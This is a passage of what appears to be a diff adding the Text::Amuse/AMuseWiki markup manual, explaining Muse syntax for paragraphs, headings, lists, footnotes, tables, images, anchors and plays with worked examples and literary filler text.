+implementation by Marco Pessotto.
+
+** Paragraphs
+
+
+Paragraphs in Muse must be separated by a blank line.
+
+*** Centered and right aligned paragraphs and quotations
+
+
+A line that begins with six or more columns of whitespace
+(but less than 20) indicates a centered paragraph.
+
+Alternatively, you can use the =<center>= tag to surround regions that
+are to be published as centered paragraphs.
+
+           Like this
+
+
+But if the line begins with more than 20 spaces, you’ll have a right
+aligned paragraph. This is handy for signatures.
+
+                                     Like this right-aligned one.
+
+The same result is done with the =right= tag.
+
+Using the tags:
+
+<center>
+Like this centered one
+</center>
+
+<right>
+And this is right
+</right>
+
+This is a quotation:
+
+
+  But if a line begins with whitespace (at least 2 spaces), though
+  less than six columns, it indicates a quoted paragraph.
+  Alternatively, you can use the =<quote>= tag to surround regions that
+  are to be published as quoted paragraphs.
+
+**** Source
+
+<example>
+
+A line that begins with six or more columns of
+whitespace (but less than 20) indicates a centered
+paragraph.
+
+Alternatively, you can use the =<center>= tag to
+surround regions that are to be published as centered
+paragraphs.
+
+           Like this
+
+But if the line begins with more than 20 spaces, you’ll
+have a right aligned paragraph. This is handy for
+signatures.
+
+                              Like this right-aligned one.
+
+The same result is done with the =right= tag.
+
+Using the tags:
+
+<center>
+Like this centered one
+</center>
+
+<right>
+And this is right
+</right>
+
+This is a quotation:
+
+  But if a line begins with whitespace (at least 2
+  spaces), though less than six columns, it indicates a
+  quoted paragraph. Alternatively, you can use the
+  =<quote>= tag to surround regions that are to be
+  published as quoted paragraphs.
+
+</example>
+
+
+**Please keep in mind that indentation must be consistent if you prefer
+to keep the lines short** and break them inserting a new line. Long
+lines (using the rule 1 line, 1 paragraph) are perfectly fine. The
+rule of paragraphs separated by blank lines still apply, though.
+
+Also, =<tags>= which start and stop blocks, **must be placed on a line
+by themselves and don’t mix with environments marked by leading
+spaces, notably lists and tables.**
+
+*** Literal paragraphs
+
+
+The =<example>= tag is used for examples, where whitespace should be
+preserved, the text rendered in monospace, and any characters special
+to the output style escaped.
+
+Example:
+
+{{{
+<example>
+The =<example>= tag is used for examples, where
+whitespace should be preserved, the text rendered in
+monospace, and any characters special to the output
+style escaped.
+</example>
+}}}
+
+There is no =<literal>= tag as in the original Muse markup, because it’s
+not a private tool and will be exposed to the internet.
+
+**Please note** that the output will keep the lines
+untouched. This means that it’s very likely that you
+will get overflowing lines. To avoid this, a safe value
+for a line length could be 60 characters. Use longer
+lines at your perils.
+
+An alternate syntax for the =<example>= tag is ={{{= =}}}=:
+
+<example>
+{{{
+This is verbatim as well
+}}}
+</example>
+
+
+*** Line breaks
+
+
+If you need a line break, then use the =br= tag.  Most of the time
+this tag is unnecessary, because Muse will automatically detect
+paragraphs by means of blank lines.  If you want to preserve newlines in
+several lines of text, then use =verse= markup instead.
+
+<example>
+This line will break <br> And continue
+</example>
+
+Yields:
+
+This line will break <br> And continue.
+
+<br>
+
+If you want to add a blank, line, put the =br= tag on a line by itself:
+
+<example>
+Here we add a blank line
+
+<br>
+
+Here we go.
+</example>
+
+Here we add a blank line
+
+<br>
+
+Here we go.
+
+
+*** Page breaks
+
+If you put exactly five “*” separated by whitespace on a line by
+itself, indented by 6 or more spaces (like a centered paragraph),
+you’ll get a page break in the PDF.
+
+This code will break the page.
+
+<example>
+       * * * * *
+</example>
+
+       * * * * *
+
+Anyway, using three of them is just a decorator and it’s not treated specially.
+
+       * * *
+
+It’s just a centered paragraph with 3 “*”.
+
+** Levels of headings
+
+
+A heading becomes a chapter or section in printed output — depending on
+the style.  To indicate a heading, start a new paragraph with one or
+more asterisks, followed by a space and the heading title.  Then begin
+another paragraph to enter the text for that section.
+
+All levels of headings will be published. There is support for 5 levels.
+
+The first level is a “part”, and should be used only for larger texts. In this document is used for the License and for the main title.
+
+The second level is a “chapter”. It starts a new page on the PDF output.
+
+The third level is undoubtedly the most used. It usually separate a
+section of an article. For example the “Literal paragraph” above.
+
+The fourth level goes down further.
+
+**** Fourth level, a “subsection”
+
+The fifth level is very, very low and does not create a Table of Contents entry.
+
+***** Fifth level 1
+
+Some text.
+
+***** Fifth level 2
+
+Some other text.
+
+**** The example of levels
+
+<example>
+* First level, aka part
+
+** Second level, aka chapter
+
+*** Third level, aka section
+
+**** Fourth level, aka subsection
+
+***** Fifth level, aka subsubsection
+</example>
+
+** Directives at the beginning of a document
+
+
+
+Directives are lines beginning with the ‘#’ character that come before
+any paragraphs or sections in the document.
+
+Directives are of the form =#directive content of directive=.
+
+You can use any combination of uppercase and lowercase letters for
+directives, even if the directive is not in the list below. The
+directives are completely arbitrary. You can put there whatever you
+want. It’s the template job to pick them up. In the templates shipped
+with this bundle there is support for the following directives:
+
+   The following is a list of directives that Muse uses.
+
+ - =#author=
+
+   The author of the text.
+
+ - =#title=
+
+   The title of the document
+
+ - =#lang=
+
+   The language code of the document (2 or 3 letters). Defaults to =en=.
+
+ - =#LISTtitle=
+
+   This directive is used (defaulting to =#title=) to alphabetically
+   sort the titles. It’s handy if you want, for example, sort “A
+   title” under “T” and not under “A”.
+
+   In this case you may write =#LISTtitle Title=
+
+ - =#subtitle=
+
+   The subtitle (if any)
+
+ - =#SORTauthors=
+
+   If not provided, this default to =#author=. It’s a list
+   separated by semicolons or commas with the various authors. While
+   =#author= affects the display only, this one is used to index the
+   document.
+
+ - =#SORTtopics=
+
+   As for authors, it’s a list (comma- or
+   semicolon-separated) list of topics for the current text. Used to
+   index the document.
+
+ - =#date=
+
+   The **year** of publishing of the document. More information
+   should be provided in the =#notes= directive.
+
+ - =#notes=
+
+   This directive is used for additional information here (original
+   title, translators, credits, etc.).
+
+ - =#source=
+
+   This directive is used for the source or the text (url, scanned from
+   original, original contribution, etc.). The preferred format is
+   “Retrieved on March 8, 2012 from [[http://url.org][the url]]”
+
+ - =#publisher=
+
+   Publisher data, if any.
+
+ - =#isbn=
+
+   ISBN, if any.
+
+ - =#rights=
+
+   Copyright info, if any.
+
+ - =#seriesname=
+
+   If the book belongs to a serie, put it here.
+
+ - =#seriesnumber=
+
+   If the book belongs to a serie, use this slot for the number.
+
+ - =#hyphenation=
+
+   See below.
+
+*** Correcting the hyphenation in the PDF output
+
+Sometimes you may notice some words with incorrect hyphenation in your
+document. You can fix this adding the breakpoint in the
+<code>#hyphenation</code> directive.
+
+E.g.
+
+<example>
+#title Test
+#lang it
+#hyphenation al-be-rel-lo que-sto
+
+Questo alberello...
+</example>
+
+You can as many words with breakpoints as you wish, separated by
+spaces, but you can’t insert numbers or special characters (accents
+and diacritics are fine, though). You specify a breakpoint with the
+hyphen character “-”. Using a word without any hyphen will prevent the
+hyphenation for that word.
+
+** Bold, italicized and monospace text, non breaking space.
+
+To emphasize text, surround it with certain specially recognized
+characters.
+
+The following example will produce:
+
+     *emphasis*
+     **strong emphasis**
+     ***very strong emphasis***
+     =verbatim and monospace=
+
+<example>
+     *emphasis*
+     **strong emphasis**
+     ***very strong emphasis***
+     =verbatim and monospace=
+</example>
+
+Each of these forms may span
+multiple lines, but not multiple paragraphs.
+
+You can also use the =<code>= tag to indicate code and monospace
+text. This is handy for regions that have a “=” in them.
+
+If the “*” confuse you or the preview is screwed up, you can use
+inline tag =<em>= and =<strong>=, which are guaranteed to work in any
+case.
+
+The above example rewritten with tags:
+
+<example>
+     <em>emphasis</em>
+     <strong>strong emphasis</strong>
+     <strong><em>very strong emphasis</em></strong>
+     <code>verbatim and monospace</code>
+</example>
+
+And produces the same thing.
+
+     <em>emphasis</em>
+     <strong>strong emphasis</strong>
+     <strong><em>very strong emphasis</em></strong>
+     <code>verbatim and monospace</code>
+
+Please note that there is no support for the underline. Underlining is
+an handwritten substitute for the italics. You simply don’t need it.
+
+Also, small caps are missing, mainly because on the HTML they look
+awful and a very few fonts have decent small caps.
+
+Since Text::Amuse version 0.96 (released 2018-01-27), which restored
+Emacs Muse compatibility in this regard, material in =<code>= tags and
+equivalent markup between equal signs is also verbatim, but with a
+monospace font.
+
+Other tags are =<sub>= and
+=<sup>= for subscript and superscript. And
+there is also a =<del>= tag for overstriking.
+
+<example>
+This is the <sup>superscript</sup> and this is a
+<sub>subscript</sub>, and this is <del>something
+deleted and overstriked</del>
+</example>
+
+This is the <sup>superscript</sup> and this is a
+<sub>subscript</sub>, and this is <del>something deleted and
+overstriked</del>
+
+If you nest the same tag (e.g. =<em>this <em>and
+this</em></em>=, you are going to get weird results
+(and doesn’t make any sense), so don’t do it. <code>=</code> and
+<code>*</code> when surrounding words have the same meaning of the
+respective tags:
+
+{{{
+*this* is the same as <em>this</em>
+
+=this= is the same as <code>this</code>
+}}}
+
+*** Non-breaking space.
+
+Non breaking space (=0xA0= Unicode, NO-BREAK SPACE) is just a regular
+character, but it's somehow complicate to manage, because very often
+appears like a normal space. You can use a double tilde
+<verbatim>~~</verbatim> to insert a non~~breaking~~space which is
+explicit in the muse document.
+
+This feature was added in Text::Amuse 0.94 but it was present in Emacs
+Muse.
+
+** Footnotes
+
+A footnote reference is simply a number in square brackets.  To define
+the footnote, place this definition starting the line with a digit in
+square brackets.
+
+<example>
+This is the text, and we refer to a footnote [1]
+
+Here the text continues.
+
+[1] This footnote
+    spans more lines in the source
+
+    You can continue the footnote on another paragraph, as long as it
+    has the same amount of indentation of the previous item.
+
+ [2] But this is not, because of the initial
+     whitespace.
+
+[3] Footnotes which don’t have a referrer will
+    disappear on the PDF output and preserved in the
+    HTML. But will lead to incorrect code, as it will
+    point to a non-existent anchor
+
+</example>
+
+This is the result:
+
+----
+
+This is the text, and we refer to a footnote [1]
+
+Here the text continues.
+
+[1] This footnote
+    spans more lines in the source
+
+    You can continue the footnote on another paragraph, as long as it
+    has the same amount of indentation of the previous item.
+
+ [2] But this is not, because of the initial whitespace.
+
+[3] Footnotes which don’t have a referrer will disappear on the PDF
+    output and preserved in the HTML. But will lead to incorrect
+    code, as it will point to a non-existent anchor
+
+----
+
+You can break the footnotes lines (even if it’s not recommended), but
+keep the indentation consistent, as shown above.
+
+*** Secondary footnotes (support added in Text::Amuse 0.91, 2017-12-10)
+
+Rarely needed, but supported, are the secondary footnotes, i.e. an
+additional apparatus. They obey the same rules as the regular
+footnotes, but they are marked with curly brackets instead of square
+ones. You can also place secondary footnotes in regular footnotes.
+This is meant for critical edition, but you may use them to
+differentiate between author's notes and translator's notes.
+
+{{{
+
+This is a regular [4] footnote, and this a secondary {1}
+
+[4] Regular footnote, and has a secondary one on it {2}
+
+{1} Secondary footnote body (1)
+
+{2} Secondary footnote body (2)
+
+}}}
+
+Which produces:
+
+----
+
+This is a regular [4] footnote, and this a secondary {1}
+
+[4] Regular footnote, and has a secondary one on it {2}
+
+{1} Secondary footnote body (1)
+
+{2} Secondary footnote body (2)
+
+----
+
+** Poetic stanzas
+
+
+Poetry requires that whitespace be preserved, but without resorting to
+monospace.  To indicate this, use the following markup, reminiscent of
+email quotations, or use the =verse= tag.
+
+<example>
+> A line of Emacs verse;
+>   forgive its being so terse.
+
+<verse>
+     A line of Emacs verse;
+       forgive its being so terse.
+</verse>
+</example>
+
+This yields:
+
+> A line of Emacs verse;
+>   forgive its being so terse.
+
+<verse>
+     A line of Emacs verse;
+       forgive its being so terse.
+</verse>
+
+Multiple stanzas may be included in one set of <verse> tags, as
+follows.
+
+<example>
+<verse>
+A line of Emacs verse;
+  forgive its being so terse.
+
+In terms of terse verse,
+  you could do worse.
+</verse>
+
+Or this
+
+> A line of Emacs verse;
+>   forgive its being so terse.
+>
+> In terms of terse verse,
+>   you could do worse.
+
+</example>
+
+<verse>
+A line of Emacs verse;
+  forgive its being so terse.
+
+In terms of terse verse,
+  you could do worse.
+</verse>
+
+Or this
+
+> A line of Emacs verse;
+>   forgive its being so terse.
+>
+> In terms of terse verse,
+>   you could do worse.
+
+** Lists
+
+
+Lists are given using special characters at the beginning of a line.
+Whitespace must occur before bullets or numbered items, to distinguish
+from the possibility of those characters occurring in a real sentence.
+
+Description lists are marked by some initial whitespace, the term, a
+double colon surrounded by whitespace, and the description body.
+
+<example>
+Normal text.
+
+      - bullet item one
+      - bullet item two
+
+An enumerated list follows.
+
+      1. Enum item one
+      2. Enum item two
+
+A list with roman numbering
+
+ i.   First
+ ii.  Second
+ iii. Third
+
+A list with upper roman numbering
+
+ I.   First
+ II.  Second
+ III. Third
+
+A list with upper letters
+
+ A. first
+ B. second
+ C. third
+
+A list with lower letters
+
+ a. first
+ b. second
+ c. third
+
+A description list
+
+ First term :: definition and description
+ Second term :: definition and description
+
+</example>
+
+Please note the consistent indentation, **especially** for roman numbering.
+
+Normal text.
+
+      - bullet item one
+      - bullet item two
+
+An enumerated list follows.
+
+      1. Enum item one
+      2. Enum item two
+
+A list with roman numbering
+
+ i.   First
+ ii.  Second
+ iii. Third
+
+A list with upper roman numbering
+
+ I.   First
+ II.  Second
+ III. Third
+
+A list with upper letters
+
+ A. first
+ B. second
+ C. third
+
+A list with lower letters
+
+ a. first
+ b. second
+ c. third
+
+A description list
+
+ First term :: definition and description
+ Second term :: definition and description
+
+*** Breaking lists
+
+If for some reason you want to break the list without starting a
+regular paragraph, you can do so by inserting a
+=<br>= tag (which adds some white space between
+them) or a comment (invisible). E.g.
+
+{{{
+List:
+
+   a. bullet item one
+   a. bullet item two, and will break
+
+; a comment
+
+   a. bullet item one
+   a. bullet item two, and break
+
+<br>
+
+   a. bullet item one
+   a. bullet item two, and end
+}}}
+
+Resulting in:
+
+List:
+
+   a. bullet item one
+   a. bullet item two, and will break
+
+; a comment
+
+   a. bullet item one
+   a. bullet item two, and break
+
+<br>
+
+   a. bullet item one
+   a. bullet item two, and end
+
+
+*** Nested lists
+
+It is possible to nest lists of the same or different kinds.  The
+“level” of the list is determined by the amount of initial whitespace.
+
+<example>
+Normal text.
+
+ - Level 1, bullet item one
+   1. Level 2, enum item one
+   2. Level 2, enum item two
+ - Level 1, bullet item two
+   1. Level 2, enum item one
+   2. Level 2, enum item two
+      i.  Level 3, enum item i
+      ii. Level 3, enum item ii
+   3. Level 2, enum item three
+ - Back to Level 1, third bullet
+   a. Level 2, enum item “a”
+   b. Level 2, enum item “b”
+      I. Level 3, enum item “I”
+         One term :: description
+         Another term :: description
+ - Back to the bullets
+</example>
+
+Normal text.
+
+ - Level 1, bullet item one
+   1. Level 2, enum item one
+   2. Level 2, enum item two
+ - Level 1, bullet item two
+   1. Level 2, enum item one
+   2. Level 2, enum item two
+      i.  Level 3, enum item i
+      ii. Level 3, enum item ii
+   3. Level 2, enum item three
+ - Back to Level 1, third bullet
+   a. Level 2, enum item “a”
+   b. Level 2, enum item “b”
+      I. Level 3, enum item “I”
+         One term :: description
+         Another term :: description
+ - Back to the bullets
+
+*** Breaking list items
+
+If you want to break up a line within any list type, just put one blank
+line between the end of the previous line and the beginning of the next
+line, using the same amount of initial indentation.
+
+Keep in mind that if you put random indentation you’ll get random and
+probably unexpected results (but it should not crash — if it does,
+please contact me).
+
+Also, you can be lazy with numbered list. The parser actually doesn’t
+care if you number them properly, or just do something like that.
+
+<example>
+ 1. first
+ 1. second
+ 1. third
+
+or
+
+ a. first
+ a. second
+ a. third
+</example>
+
+There results will always be:
+
+ 1. first
+ 1. second
+ 1. third
+
+or
+
+ a. first
+ a. second
+ a. third
+
+*** Complete example
+
+<example>
+Normal text.
+
+ - Level 1, bullet item one, this is the first
+   paragraph. I can break the line, keeping the same
+   amount of indentation
+
+   Here I have the same amount of indentation, and it
+   continues the item above.
+
+   1. Level 2, enum item one. I can break the line,
+      keeping the same amount of indentation
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+   2. Level 2, enum item two
+      which continues
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+ - Level 1, bullet item two
+   which continues
+
+   Here I have the same amount of indentation, and it
+   continues the item above.
+
+   1. Level 2, enum item one
+      which continues
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+   2. Level 2, enum item two
+      which continues
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+      i.  Level 3, enum item i
+
+          Here I have the same amount of indentation,
+          and it continues the item above.
+
+      ii. Level 3, enum item ii
+
+          Here I have the same amount of indentation,
+          and it continues the item above.
+
+   3. Level 2, enum item three
+      which continues
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+ - Back to Level 1, third bullet
+
+   Here I have the same amount of indentation, and it
+   continues the item above.
+
+   a. Level 2, enum item “a”
+      which continues
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+   b. Level 2, enum item “b”
+      which continues
+
+      Here I have the same amount of indentation, and
+      it continues the item above.
+
+         I. Level 3, enum item “I”
+
+            Here I have the same amount of indentation,
+            and it continues the item above.
+
+                 And inside this item :: a description
+
+                                         Which continues here.
+
+                 Another term :: a description
+
+                                 Which continues here.
+
+
+ - Back to the bullets
+
+   Here I have the same amount of indentation, and it
+   continues the item above.
+
+</example>
+
+Normal text.
+
+ - Level 1, bullet item one, this is the first paragraph. I can break
+   the line, keeping the same amount of indentation
+
+   Here I have the same amount of indentation, and it continues the
+   item above.
+
+   1. Level 2, enum item one. i can break the line, keeping the same
+      amount of indentation
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+   2. Level 2, enum item two
+      which continues
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+ - Level 1, bullet item two
+   which continues
+
+   Here I have the same amount of indentation, and it continues the
+   item above.
+
+   1. Level 2, enum item one
+      which continues
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+   2. Level 2, enum item two
+      which continues
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+      i.  Level 3, enum item i
+
+          Here I have the same amount of indentation, and it continues
+          the item above.
+
+      ii. Level 3, enum item ii
+
+          Here I have the same amount of indentation, and it continues
+          the item above.
+
+   3. Level 2, enum item three
+      which continues
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+ - Back to Level 1, third bullet
+
+   Here I have the same amount of indentation, and it continues the
+   item above.
+
+   a. Level 2, enum item “a”
+      which continues
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+   b. Level 2, enum item “b”
+      which continues
+
+      Here I have the same amount of indentation, and it continues the
+      item above.
+
+         I. Level 3, enum item “I”
+
+            Here I have the same amount of indentation, and it continues the
+            item above.
+
+
+                 And inside this item :: a description
+
+                                         Which continues here.
+
+                 Another term :: a description
+
+                                 Which continues here.
+
+ - Back to the bullets
+
+   Here I have the same amount of indentation, and it continues the
+   item above.
+
+*** List continuation
+
+If you need to start a list from an index different than 1, starting
+with Text::Amuse 0.90 (released on August 30, 2017), you can do so
+simply using it in the list. Indexes provided are so respected, unless
+they are the number 1. So the rule is: **if you need automatic
+numbering, just use =1.= or =a.= or =A.= or =i.= or =I.=, otherwise
+use your custom numbering**. Any other solution will be confusing and
+you can expect undefined behaviour.
+
+{{{
+ b. This list with start with b
+ d. This will be “d” as well
+     3. This starts at 3
+     2. This is 2 as well.
+        iv. Roman iv.
+        i. Roman v. as i. acts as automatic numbering
+ a. This will be e. because it’s index 1 and continues the list (interrupted at d.)
+ a. This will be f. because it’s incrementing the previous item.
+     1. Normal numeric
+     1. Normal numeric 2.
+     1. Normal numeric 3.
+        V. Roman V.
+        X. Roman X.
+}}}
+
+And results in:
+
+ b. This list with start with b
+ d. This will be “d” as well
+     3. This starts at 3
+     2. This is 2 as well.
+        iv. Roman iv.
+        i. Roman v. as i. acts as automatic numbering
+ a. This will be e. because it’s index 1 and continues the list (interrupted at d.)
+ a. This will be f. because it’s incrementing the previous item.
+     1. Normal numeric
+     1. Normal numeric 2.
+     1. Normal numeric 3.
+        V. Roman V.
+        X. Roman X.
+
+** Generation of data tables
+
+
+Only very simple tables are supported. The syntax is as follows (just
+keep the indentation consistent and separate each cell by one or more
+textbars).
+
+Indentation (one or more leading spaces) is required to trigger the
+table rendering.
+
+<example>
+     Triple bars ||| Separate footer fields
+     Double bars  || Separate header fields
+     Single bars   | Separate body fields
+     Here are more | body fields
+     |+ This is the caption +|
+</example>
+
+     Triple bars ||| Separate footer fields
+     Double bars  || Separate header fields
+     Single bars   | Separate body fields
+     Here are more | body fields
+     |+ This is the caption +|
+
+The ordering of the footer, header and table body blocks is irrelevant
+for the output (HTML requires you put first the header, then the
+footer, then the body). Ordering of the single rows is of course
+preserved. Inside the cells you can do pretty much what you want
+(besides headers and lists): mark them up freely.
+
+*** Floating tables
+
+When composing tables, please keep in mind the following:
+
+ - tables are never splat over pages. If they don’t fit a page, they
+   will run off the page. So keep them short or split them yourself.
+
+ - tables *without* a caption are inserted at the point they are in the
+   source. Table *with* a caption are converted into a float, so they
+   are in no way guaranteed they will appear in the same exact point
+   of the source. Anyway, the result is way better, and you have a
+   caption, so you can refer to them in the text.
+
+** Hyperlinks with or without description (and images)
+
+
+A hyperlink can reference a URL or a place on the same document.  In
+addition, descriptive text can be specified, which should be displayed
+rather than the link text in output styles that supports link
+descriptions.  The syntax is as follows.
+
+<example>
+     [[link target][link description]]
+     [[link target without description]]
+
+So, the home of this project is
+[[http://amusewiki.org][AMuseWiki]],
+which can be found at
+[[http://amusewiki.org]] Bare links will not
+get the hyperlinking. So http://thisisspam.org won’t
+get the hyperlinking.
+</example>
+
+So, the home of this project is
+[[http://amusewiki.org][AMuseWiki]],
+which can be found at [[http://amusewiki.org]]
+Bare links will not get the hyperlinking.
+So http://thisisspam.org won’t get the hyperlinking.
+
+*** Images
+
+
+Images are special case of this kind of linking.
+
+<example>
+[[m-l-manual-logo.png]]
+</example>
+
+We assume that we have the “m-l-manual-logo.png” file on the same
+directory of the file, and the result is:
+
+[[m-l-manual-logo.png]]
+
+Now, let’s add a caption.
+
+<example>
+[[m-l-manual-logo.png][This is *our* logo]]
+</example>
+
+[[m-l-manual-logo.png][This is *our* logo]]
+
+Remote urls are not permitted. Also, the path checking is rather
+strict, so please use just alphanumeric filenames for your images.
+
+*** Floating images and adjusting width
+
+By default, image width in the HTML output is kept to the original
+one, whatever it is, but limited via CSS, while in the PDF expands to
+fill the page width. This creates problems.
+
+Starting with version 0.07, it’s possible to set the width of the
+image, **in percent**, just appending it to the file name after a
+whitespace.
+
+It’s also possible to make it a right or left float, adding the
+character =l= or =r=, or to mark it as a “fullpage” with =f=.
+
+This one will have a width to 80% of the page width:
+
+<example>
+[[m-l-manual-logo.png 80]]
+</example>
+
+This one will have a width to 80% of the page width and will be a left
+float.
+
+<example>
+[[m-l-manual-logo.png 80 l]]
+</example>
+
+This one will have a width to 80% of the page width and will be a right
+float.
+
+<example>
+[[m-l-manual-logo.png 80 r]]
+</example>
+
+The Following will be marked as a fullpage.
+
+<example>
+[[m-l-manual-logo.png f]]
+</example>
+
+Floating without a width doesn’t make sense, as in the PDF will be no
+room for wrapping text around it.
+
+**** Examples
+
+The next figures use these codes:
+
+<example>
+[[m-l-manual-logo.png 10r][right float]]
+[[m-l-manual-logo.png 10l][left float]]
+[[m-l-manual-logo.png 50f][full page]]
+</example>
+
+Suggestions that I write my memoirs came to me when I had barely begun
+to live, and continued all through the years. But I never paid heed to
+the proposal. I was living my life intensely — what need to write
+about it? Another reason for my reluctance was the conviction I
+entertained that one should write about one’s life only when one had
+ceased to stand in the very torrent of it. “When one has reached a
+good philosophic age,” I used to tell my friends, “capable of viewing
+the tragedies and comedies of life impersonally and detachedly —
+particularly one’s own life — one is likely to create an autobiography
+worth while.” Still feeling adolescently young in spite of advancing
+years, I did not consider myself competent to undertake such a task.
+Moreover, I always lacked the necessary leisure for concentrated
+writing.
+
+[[m-l-manual-logo.png 10r][right float]]
+
+My enforced European inactivity left me enough time to read a great
+deal, including biographies and autobiographies. I discovered, much to
+my discomfiture, that old age, far from ripening wisdom and
+
+mellowness, is too often fraught with senility, narrowness, and petty
+rancour. I would not risk such a calamity, and I began to think
+seriously about writing my life.
+
+[[m-l-manual-logo.png 10l][left float]]
+
+The great difficulty that faced me was lack of historical data for my
+work. Almost everything in the way of books, correspondence, and
+similar material that I had accumulated during the thirty-five years
+
+of my life in the United States had been confiscated by the Department
+of Justice raiders and never returned. I lacked even my personal set
+of the Mother Earth magazine, which I had published for twelve years.
+
+It was a problem I could see no solution for. Sceptic that I am, I had
+overlooked the magic power of friendship, which had so often in my
+life made mountains move. My staunch friends Leonard D. Abbott, Agnes
+Inglis, W. S. Van Valkenburgh, and others soon put my doubts to shame.
+
+Agnes, the founder of the Labadie Library in Detroit, containing the
+richest collection of radical and revolutionary material in America,
+came to my aid with her usual readiness. Leonard did his share, and
+Van spent all his free time in research work for me.
+
+The great difficulty that faced me was lack of historical data for my
+work. Almost everything in the way of books, correspondence, and
+similar material that I had accumulated during the thirty-five years
+
+of my life in the United States had been confiscated by the Department
+of Justice raiders and never returned. I lacked even my personal set
+of the Mother Earth magazine, which I had published for twelve years.
+
+It was a problem I could see no solution for. Sceptic that I am, I had
+overlooked the magic power of friendship, which had so often in my
+life made mountains move. My staunch friends Leonard D. Abbott, Agnes
+Inglis, W. S. Van Valkenburgh, and others soon put my doubts to shame.
+
+Agnes, the founder of the Labadie Library in Detroit, containing the
+richest collection of radical and revolutionary material in America,
+came to my aid with her usual readiness. Leonard did his share, and
+Van spent all his free time in research work for me.
+
+
+[[m-l-manual-logo.png 50f][full page]]
+
+
+
+** Inserting a horizontal line
+
+Four or more dashes indicate a horizontal rule.  Be sure to put blank
+lines around it, or it will be considered part of the proceeding or
+following paragraph, like this: =---------=.
+
+Example
+
+<example>
+----
+</example>
+
+Results:
+
+----
+
+#namedanchor
+** Named anchors
+
+
+If you start a line (regardless of the indentation) with a word
+prefixed by an hash, e.g. =#anchor= – where =anchor= can be any
+(ASCII) word that starts with a letter and contains only ASCII
+letters, digits and dashes – it defines an anchor at that point into
+the document. This point can be referenced using “#anchor” as the
+target in a Muse link.
+
+If you need to start a line with an hash, wrap it in =<verbatim>= E.g.
+
+{{{
+<verbatim>#hashtag</verbatim> verbatim.
+=#hashtag= verbatim as code.
+}}}
+
+Yielding:
+
+<verbatim>#hashtag</verbatim> verbatim.
+=#hashtag= verbatim as code.
+
+The support for this feature was introduced in Text::Amuse version
+0.70 and improved in 0.82. Compatibility with Emacs Muse was restored
+in version 1.10, released on April 23, 2018, allowing text material on
+the same line of the anchor.
+
+Anchors adjacent to section headers will be attached to them, while
+lonely anchors not adjacent to any material will attach to the next
+first regular text.
+
+Example:
+
+{{{
+#title My text
+
+#badanchor
+This is not an anchor, it's part of the header with a dummy name.
+
+<br>
+
+#begin
+This will work.
+
+#an-anchor At the beginning of the line.
+
+<verbatim>#hashtag</verbatim> verbatim.
+
+=#hashtag= verbatim as code.
+
+#anchor-to-section
+*** Section
+
+#anchor
+Here we have our text.
+
+More text.
+
+*** Next section with an anchor
+#nextsection
+
+And here we can link to [[#anchor][our anchor]] and to the
+[[#begin][begin]] and to [[#nextsection][this section]].
+}}}
+
+Please note that the name in the HTML output is not kept verbatim.
+Instead a =text-amuse-label= prefix is added (if you need to link it
+externally).
+
+Also note that the link is lost when producing imposed PDFs (and
+implicitly lost when printing any PDF), so it’s recommended to keep
+this in mind when writing the document, as the text of the link should
+work even if the link is not present.
+
+Bad example:
+
+{{{
+See [[#anchor][here]]
+}}}
+
+The poor soul printing it and reading it on paper will see just “See
+here”. Here where?
+
+Good example:
+
+{{{
+See [[#anchor][the previous chapter]] for more information.
+}}}
+
+** Lines to omit from published output
+
+<example>
+; Comment text goes here.
+</example>
+
+; this will disappear completely
+
+That is, only a semi-colon at the beginning of a line, followed by a
+literal space, will cause that line to be treated as a comment an
+hidden from the visible output.
+
+You can alternatively surround the region with the =<comment>= tag.
+
+The HTML output will be wrapped in a =<div>= with the
+=display:none= property, so it can be turned visible changing the
+CSS.
+
+<example>
+<comment>
+This won’t be published, but in the HTML is there, only hidden
+</comment>
+</example>
+
+<comment>
+This won’t be published, but in the HTML is there, only hidden
+</comment>
+
+** Plays and bibliographies
+
+
+Unlike the original Muse, this implementation doesn’t support external
+sources for citations, but provides an environment which can used to
+compose the list of cited works without resorting to lists, wrapping
+all in a <biblio> tag.
+
+<example>
+<biblio>
+
+The author, *Title*, published on
+[[http://amusewiki.org][AMuseWiki]], with a very, very,
+very, very, very, very, very, very, very, very, very,
+very, long description
+
+Another author, *Another title*, published in the real
+world. with a very, very, very, very, very, very, very,
+very, very, very, very, very, long description
+
+</biblio>
+</example>
+
+<biblio>
+The author, *Title*, published on
+[[http://amusewiki.org][AMuseWiki]], with a
+very, very, very, very, very, very, very, very, very, very, very,
+very, long description
+
+Another author, *Another title*, published in the real world. with a
+very, very, very, very, very, very, very, very, very, very, very,
+very, long description
+</biblio>
+
+The list is wrapped in a =<div>= with class set to biblio, while the
+TeX source get wrapped in the =amusebiblio= environment. You are free
+to change class and environment definition if you need to. A reversed
+indentation is suggested.
+
+
+The same goes with the =<play>= environment, which is supposed to wrap
+theatrical plays, when you want a reverse indentation and more
+spacing between the paragraph (without resorting to =<verse>= and
+hardcoding the spaces.
+
+<example>
+<play>
+**Pol.** Ophelia, walke you heere. Gracious so please ye <br>
+We will bestow our selues: Reade on this booke, <br>
+That shew of such an exercise may colour <br>
+Your lonelinesse. We are oft too blame in this, <br>
+‘Tis too much prou’d, that with Deuotions visage, <br>
+And pious Action, we do surge o’re <br>
+The diuell himselfe
+
+**King.** Oh ‘tis true: <br>
+How smart a lash that speech doth giue my Conscience? <br>
+The Harlots Cheeke beautied with plaist’ring Art <br>
+Is not more vgly to the thing that helpes it, <br>
+Then is my deede, to my most painted word. <br>
+Oh heauie burthen!
+
+</play>
+</example>
+
+<play>
+**Pol.** Ophelia, walke you heere. Gracious so please ye <br>
+We will bestow our selues: Reade on this booke, <br>
+That shew of such an exercise may colour <br>
+Your lonelinesse. We are oft too blame in this, <br>
+‘Tis too much prou’d, that with Deuotions visage, <br>
+And pious Action, we do surge o’re <br>
+The diuell himselfe
+
+**King.** Oh ‘tis true: <br>
